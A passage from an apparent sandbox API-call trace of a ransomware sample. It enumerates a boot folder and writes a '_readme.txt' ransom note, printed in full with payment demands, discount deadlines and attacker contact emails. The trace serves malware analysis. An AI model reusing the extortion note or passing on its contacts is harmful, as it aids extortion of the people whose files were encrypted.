Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.625] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.625] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.625] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.625] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.625] PathFindFileNameW (pszPath="C:\\Boot\\zh-HK\\") returned="zh-HK\\" [0111.625] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.625] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.625] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.625] PathFindFileNameW (pszPath="") returned="" [0111.625] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.626] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.626] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.626] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x800) returned 0x7b13900 [0111.626] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.626] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7b14108 [0111.626] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.626] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.626] PathAppendW (in: pszPath="C:\\Boot\\zh-HK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 1 [0111.626] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac41a0 [0111.626] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.626] PathFileExistsW (pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 0 [0111.627] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b152e0 [0111.627] lstrcpyW (in: lpString1=0x7b152e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.627] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.627] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac4a28 [0111.627] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\_readme.txt" (normalized: "c:\\boot\\zh-hk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.627] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.627] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b152e0 | out: hHeap=0x5010000) returned 1 [0111.627] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.627] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.628] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.628] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.628] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.628] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.628] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.628] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.628] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.628] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c90 | out: hHeap=0x5010000) returned 1 [0111.628] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c90 [0111.628] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.628] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.628] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.628] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.628] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.628] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.628] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.628] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.628] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.628] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.628] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.628] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.628] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.628] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.629] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.629] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.629] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.629] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.629] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.629] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.629] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.629] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.629] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.629] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.629] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.629] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.629] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.629] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.629] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.629] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.629] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.629] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.629] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.629] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.629] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.629] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.629] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.629] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.629] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.629] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.629] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.629] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.629] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.629] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.629] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.629] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.630] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.630] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.630] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.630] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.630] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.630] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.630] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.630] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.630] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.630] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.630] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.630] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.630] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.630] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.630] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.630] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.630] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.630] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.630] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.630] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.630] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.630] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.630] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.630] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.630] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.630] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.630] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.630] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.630] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.630] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.630] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.630] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.631] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.631] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.631] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.631] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.631] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.631] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.631] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0111.631] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.631] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.631] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.631] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.631] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.631] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.631] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.631] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.631] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.631] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.631] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.631] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.631] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.631] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.631] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.631] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.631] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.631] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.631] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.631] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.631] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.631] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.631] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.631] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.631] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.632] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.632] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.632] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.632] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.632] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.632] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.632] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.632] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.632] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.632] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.632] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.632] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.632] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.632] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.632] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.632] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.632] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.632] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.632] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.632] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.632] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.632] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.632] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.632] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.632] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.632] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.632] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.632] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.632] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.632] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.632] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: 